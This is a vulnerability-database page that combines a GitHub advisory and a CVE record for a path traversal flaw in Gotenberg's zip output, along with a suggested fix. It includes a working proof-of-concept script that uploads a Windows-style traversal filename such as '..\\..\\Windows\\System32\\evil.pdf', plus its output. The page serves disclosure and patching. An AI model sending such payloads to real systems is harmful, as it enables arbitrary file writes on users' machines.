Vulnerability-Lookup

GHSA-HWC4-GMRW-5222

Vulnerability from github – Published: 2026-05-29 16:38 – Updated: 2026-05-29 16:38

Summary

Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename

Details

Summary

filepath.Base on the Linux container does not strip backslashes (\), because \ is only a path separator on Windows. A multipart filename like ..\..\..\..\Windows\System32\evil.pdf survives Gotenberg's input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. /forms/pdfengines/split). Windows zip extractors interpret \ as a path separator and write the file outside the extraction directory.

Details

pkg/modules/api/context.go:434, 472:

filename := norm.NFC.String(filepath.Base(fh.Filename))

On Linux, filepath.Base("..\\..\\..\\..\\Windows\\System32\\evil.pdf") returns the same string verbatim — there are no / separators to find. The original filename then flows to ctx.diskToOriginal (pkg/modules/api/context.go:459, 393) and through pkg/modules/pdfengines/routes.go:287-322 (SplitPdfStub), which builds:

originalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName))
newOriginal      := fmt.Sprintf("%s_%d.pdf", originalNameNoExt, i)
ctx.RegisterDiskPath(newPath, newOriginal)

Finally pkg/modules/api/context.go:617-642 constructs the zip via archives.FilesFromDisk + archives.Zip{}.Archive. mholt/archives@v0.1.5/archives.go:155-184 (nameOnDiskToNameInArchive) returns path.Join(rootInArchive, "") — the map value verbatim.

Suggested fix

- filename := norm.NFC.String(filepath.Base(fh.Filename))
+ filename := sanitizeFilename(fh.Filename)
+
+ func sanitizeFilename(name string) string {
+     if i := strings.LastIndexAny(name, "/\\"); i >= 0 {
+         name = name[i+1:]
+     }
+     name = norm.NFC.String(name)
+     // Optional belt-and-braces:
+     name = strings.ReplaceAll(name, "..", "_")
+     name = strings.Map(func(r rune) rune {
+         if r < 0x20 || r == 0x7f { return -1 }
+         return r
+     }, name)
+     return name
+ }

The same sanitiser closes Advisory 8.

PoC

Prerequisite: pip install requests. curl -F filename= mangles backslashes on some shells, so we use Python's requests to deliver the malicious filename byte-perfect.

mkdir -p /tmp/gotenberg-poc && cd /tmp/gotenberg-poc

docker rm -f gotenberg-audit 2>/dev/null
docker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0
i=0; until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/health)" = "200" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done

# Stub PDF.
printf '%%PDF-1.4\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\nxref\n0 4\n0000000000 65535 f\n0000000010 00000 n\n0000000053 00000 n\n0000000100 00000 n\ntrailer<</Size 4/Root 1 0 R>>\nstartxref\n158\n%%%%EOF\n' > stub.pdf

# Step 1: produce a 2-page PDF so /split returns multiple entries.
curl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \
    -F 'files=@stub.pdf;filename=a.pdf' \
    -F 'files=@stub.pdf;filename=b.pdf'

# Step 2: split, declaring the multipart filename as a Windows path-traversal payload.
python3 - <<'PY'
import requests, zipfile, binascii
fname = '..\\..\\..\\..\\Windows\\System32\\evil.pdf'
files = {'files': (fname, open('two.pdf', 'rb'), 'application/pdf')}
data  = {'splitMode': 'intervals', 'splitSpan': '1'}
r = requests.post('http://localhost:3000/forms/pdfengines/split', files=files, data=data)
print(f'HTTP={r.status_code}  ctype={r.headers.get("content-type")}  bytes={len(r.content)}')
open('split.zip', 'wb').write(r.content)

z = zipfile.ZipFile('split.zip')
print('--- zip entries (orig_filename) ---')
for info in z.infolist():
    print(f'   {info.orig_filename!r}')

# Show raw central-directory bytes to prove backslashes are on the wire:
data = open('split.zip', 'rb').read()
idx = data.find(b'PK\x01\x02')
print('--- raw central-dir hex around filename ---')
print(f'   {binascii.hexlify(data[idx:idx+80]).decode()}')
PY

docker stop gotenberg-audit

Observed output:

HTTP=200  ctype=application/zip  bytes=24750
--- zip entries (orig_filename) ---
   '..\\..\\..\\..\\Windows\\System32\\evil_0.pdf'
   '..\\..\\..\\..\\Windows\\System32\\evil_1.pdf'
--- raw central-dir hex around filename ---
   504b010214031400080800009a7da25c61b6fc178e2f00008e2f0000270009000000000000000000a481000000002e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c53797374656d33325c6576696c5f

The trailing hex 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797374656d3332 5c 6576696c5f decodes to ..\..\..\..\Windows\System32\evil_. (Python's ZipFile.namelist() would normally hide this by displaying /, but info.orig_filename returns the literal backslash form.)

To see the Windows-side traversal effect on a Windows host, run:

Expand-Archive -Path .\split.zip -DestinationPath .\out -Force
Get-ChildItem .\out -Recurse
# → out\Windows\System32\evil_0.pdf
# → out\Windows\System32\evil_1.pdf

PowerShell collapses the .. parents but creates the Windows\System32\ subdirectory tree. 7-Zip and WinRAR with default settings honor the .. parents and traverse out of the extraction directory entirely.

Impact

Arbitrary file write on a Windows-side consumer that extracts the returned zip (Windows Explorer, 7-Zip, WinRAR, .NET ZipFile.ExtractToDirectory).
Reachable via every multi-output Gotenberg route — /forms/pdfengines/split, /forms/pdfengines/flatten//encrypt//embed//watermark//stamp//rotate (when called with multiple input PDFs), /forms/libreoffice/convert with multiple inputs, /forms/pdfengines/convert.
Also reachable via downloadFrom upstream Content-Disposition: filename="..\\..\\evil.exe" — the filename flows through the same ctx.diskToOriginal map at pkg/modules/api/context.go:354, 393.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

Show details on source website

JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.32.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.33.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44829"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T16:38:24Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`filepath.Base` on the Linux container does not strip backslashes (`\\`), because `\\` is only a path separator on Windows. A multipart filename like `..\\..\\..\\..\\Windows\\System32\\evil.pdf` survives Gotenberg\u0027s input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. `/forms/pdfengines/split`). Windows zip extractors interpret `\\` as a path separator and write the file outside the extraction directory.\n\n### Details\n`pkg/modules/api/context.go:434, 472`:\n```go\nfilename := norm.NFC.String(filepath.Base(fh.Filename))\n```\nOn Linux, `filepath.Base(\"..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil.pdf\")` returns the same string verbatim \u2014 there are no `/` separators to find. The original filename then flows to `ctx.diskToOriginal` (`pkg/modules/api/context.go:459, 393`) and through `pkg/modules/pdfengines/routes.go:287-322` (`SplitPdfStub`), which builds:\n```go\noriginalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName))\nnewOriginal      := fmt.Sprintf(\"%s_%d.pdf\", originalNameNoExt, i)\nctx.RegisterDiskPath(newPath, newOriginal)\n```\nFinally `pkg/modules/api/context.go:617-642` constructs the zip via `archives.FilesFromDisk` + `archives.Zip{}.Archive`. `mholt/archives@v0.1.5/archives.go:155-184` (`nameOnDiskToNameInArchive`) returns `path.Join(rootInArchive, \"\")` \u2014 the map value verbatim.\n\n### Suggested fix\n```diff\n- filename := norm.NFC.String(filepath.Base(fh.Filename))\n+ filename := sanitizeFilename(fh.Filename)\n+\n+ func sanitizeFilename(name string) string {\n+     if i := strings.LastIndexAny(name, \"/\\\\\"); i \u003e= 0 {\n+         name = name[i+1:]\n+     }\n+     name = norm.NFC.String(name)\n+     // Optional belt-and-braces:\n+     name = strings.ReplaceAll(name, \"..\", \"_\")\n+     name = strings.Map(func(r rune) rune {\n+         if r \u003c 0x20 || r == 0x7f { return -1 }\n+         return r\n+     }, name)\n+     return name\n+ }\n```\nThe same sanitiser closes Advisory 8.\n\n### PoC\n**Prerequisite:** `pip install requests`. `curl -F filename=` mangles backslashes on some shells, so we use Python\u0027s `requests` to deliver the malicious filename byte-perfect.\n\n```bash\nmkdir -p /tmp/gotenberg-poc \u0026\u0026 cd /tmp/gotenberg-poc\n\ndocker rm -f gotenberg-audit 2\u003e/dev/null\ndocker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0\ni=0; until [ \"$(curl -s -o /dev/null -w \u0027%{http_code}\u0027 http://localhost:3000/health)\" = \"200\" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done\n\n# Stub PDF.\nprintf \u0027%%PDF-1.4\\n1 0 obj\u003c\u003c/Type/Catalog/Pages 2 0 R\u003e\u003eendobj\\n2 0 obj\u003c\u003c/Type/Pages/Kids[3 0 R]/Count 1\u003e\u003eendobj\\n3 0 obj\u003c\u003c/Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]\u003e\u003eendobj\\nxref\\n0 4\\n0000000000 65535 f\\n0000000010 00000 n\\n0000000053 00000 n\\n0000000100 00000 n\\ntrailer\u003c\u003c/Size 4/Root 1 0 R\u003e\u003e\\nstartxref\\n158\\n%%%%EOF\\n\u0027 \u003e stub.pdf\n\n# Step 1: produce a 2-page PDF so /split returns multiple entries.\ncurl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \\\n    -F \u0027files=@stub.pdf;filename=a.pdf\u0027 \\\n    -F \u0027files=@stub.pdf;filename=b.pdf\u0027\n\n# Step 2: split, declaring the multipart filename as a Windows path-traversal payload.\npython3 - \u003c\u003c\u0027PY\u0027\nimport requests, zipfile, binascii\nfname = \u0027..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil.pdf\u0027\nfiles = {\u0027files\u0027: (fname, open(\u0027two.pdf\u0027, \u0027rb\u0027), \u0027application/pdf\u0027)}\ndata  = {\u0027splitMode\u0027: \u0027intervals\u0027, \u0027splitSpan\u0027: \u00271\u0027}\nr = requests.post(\u0027http://localhost:3000/forms/pdfengines/split\u0027, files=files, data=data)\nprint(f\u0027HTTP={r.status_code}  ctype={r.headers.get(\"content-type\")}  bytes={len(r.content)}\u0027)\nopen(\u0027split.zip\u0027, \u0027wb\u0027).write(r.content)\n\nz = zipfile.ZipFile(\u0027split.zip\u0027)\nprint(\u0027--- zip entries (orig_filename) ---\u0027)\nfor info in z.infolist():\n    print(f\u0027   {info.orig_filename!r}\u0027)\n\n# Show raw central-directory bytes to prove backslashes are on the wire:\ndata = open(\u0027split.zip\u0027, \u0027rb\u0027).read()\nidx = data.find(b\u0027PK\\x01\\x02\u0027)\nprint(\u0027--- raw central-dir hex around filename ---\u0027)\nprint(f\u0027   {binascii.hexlify(data[idx:idx+80]).decode()}\u0027)\nPY\n\ndocker stop gotenberg-audit\n```\n\n**Observed output:**\n```\nHTTP=200  ctype=application/zip  bytes=24750\n--- zip entries (orig_filename) ---\n   \u0027..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil_0.pdf\u0027\n   \u0027..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil_1.pdf\u0027\n--- raw central-dir hex around filename ---\n   504b010214031400080800009a7da25c61b6fc178e2f00008e2f0000270009000000000000000000a481000000002e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c53797374656d33325c6576696c5f\n```\n\nThe trailing hex `2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797374656d3332 5c 6576696c5f` decodes to `..\\..\\..\\..\\Windows\\System32\\evil_`. (Python\u0027s `ZipFile.namelist()` would normally hide this by displaying `/`, but `info.orig_filename` returns the literal backslash form.)\n\nTo see the Windows-side traversal effect on a Windows host, run:\n```powershell\nExpand-Archive -Path .\\split.zip -DestinationPath .\\out -Force\nGet-ChildItem .\\out -Recurse\n# \u2192 out\\Windows\\System32\\evil_0.pdf\n# \u2192 out\\Windows\\System32\\evil_1.pdf\n```\nPowerShell collapses the `..` parents but creates the `Windows\\System32\\` subdirectory tree. 7-Zip and WinRAR with default settings honor the `..` parents and traverse out of the extraction directory entirely.\n\n### Impact\n- Arbitrary file write on a Windows-side consumer that extracts the returned zip (Windows Explorer, 7-Zip, WinRAR, .NET `ZipFile.ExtractToDirectory`).\n- Reachable via every multi-output Gotenberg route \u2014 `/forms/pdfengines/split`, `/forms/pdfengines/flatten`/`/encrypt`/`/embed`/`/watermark`/`/stamp`/`/rotate` (when called with multiple input PDFs), `/forms/libreoffice/convert` with multiple inputs, `/forms/pdfengines/convert`.\n- Also reachable via `downloadFrom` upstream `Content-Disposition: filename=\"..\\\\..\\\\evil.exe\"` \u2014 the filename flows through the same `ctx.diskToOriginal` map at `pkg/modules/api/context.go:354, 393`.",
  "id": "GHSA-hwc4-gmrw-5222",
  "modified": "2026-05-29T16:38:24Z",
  "published": "2026-05-29T16:38:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-hwc4-gmrw-5222"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/releases/tag/v8.33.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename"
}

CVE-2026-44829 (GCVE-0-2026-44829)

Vulnerability from cvelistv5 – Published: 2026-08-19 14:35 – Updated: 2026-08-19 18:19

Title

Gotenberg: Path traversal in zip entry name via Windows-style separators in upload filename

Summary

Gotenberg is a Docker-powered stateless API for PDF files. In 8.32.0 and earlier, filename handling in pkg/modules/api/context.go uses filepath.Base on Linux, which does not treat backslashes as path separators, so a multipart filename containing Windows-style parent directory components survives sanitization. The original filename flows through ctx.diskToOriginal and the multi-output PDF routes into archives.FilesFromDisk and archives.Zip.Archive as the generated zip entry name. A remote attacker can submit a name such as ........\Windows\System32\evil.pdf through an upload or an upstream downloadFrom Content-Disposition header, and a Windows archive extractor can write the resulting file outside the intended extraction directory. The affected paths include /forms/pdfengines/split and other multi-output PDF, LibreOffice, and conversion routes, and exploitation can cause arbitrary file writes on a downstream Windows system when a user or process extracts the returned archive. This issue is fixed in version 8.33.0.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-19 18:03 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/gotenberg/gotenberg/security/a…	x_refsource_CONFIRM
https://github.com/gotenberg/gotenberg/issues/662	x_refsource_MISC
https://github.com/gotenberg/gotenberg/commit/93d…	x_refsource_MISC
https://github.com/gotenberg/gotenberg/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
gotenberg	gotenberg	Affected: < 8.33.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-44829",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-19T18:03:43.071414Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-19T18:19:27.164Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "gotenberg",
          "vendor": "gotenberg",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 8.33.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Gotenberg is a Docker-powered stateless API for PDF files. In 8.32.0 and earlier, filename handling in pkg/modules/api/context.go uses filepath.Base on Linux, which does not treat backslashes as path separators, so a multipart filename containing Windows-style parent directory components survives sanitization. The original filename flows through ctx.diskToOriginal and the multi-output PDF routes into archives.FilesFromDisk and archives.Zip.Archive as the generated zip entry name. A remote attacker can submit a name such as ........\\Windows\\System32\\evil.pdf through an upload or an upstream downloadFrom Content-Disposition header, and a Windows archive extractor can write the resulting file outside the intended extraction directory. The affected paths include /forms/pdfengines/split and other multi-output PDF, LibreOffice, and conversion routes, and exploitation can cause arbitrary file writes on a downstream Windows system when a user or process extracts the returned archive. This issue is fixed in version 8.33.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "LOW",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-19T14:35:06.966Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-hwc4-gmrw-5222",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-hwc4-gmrw-5222"
        },
        {
          "name": "https://github.com/gotenberg/gotenberg/issues/662",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gotenberg/gotenberg/issues/662"
        },
        {
          "name": "https://github.com/gotenberg/gotenberg/commit/93d0103585372433e18b351bb16edf4c383932d3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gotenberg/gotenberg/commit/93d0103585372433e18b351bb16edf4c383932d3"
        },
        {
          "name": "https://github.com/gotenberg/gotenberg/releases/tag/v8.33.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gotenberg/gotenberg/releases/tag/v8.33.0"
        }
      ],
      "source": {
        "advisory": "GHSA-hwc4-gmrw-5222",
        "discovery": "UNKNOWN"
      },
      "title": "Gotenberg: Path traversal in zip entry name via Windows-style separators in upload filename"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-44829",
    "datePublished": "2026-08-19T14:35:06.966Z",
    "dateReserved": "2026-05-07T21:21:48.351Z",
    "dateUpdated": "2026-08-19T18:19:27.164Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-HWC4-GMRW-5222

Summary

Details

Suggested fix

PoC

Impact

CVE-2026-44829 (GCVE-0-2026-44829)

Tags

Sightings

Nomenclature

Related by attack behaviour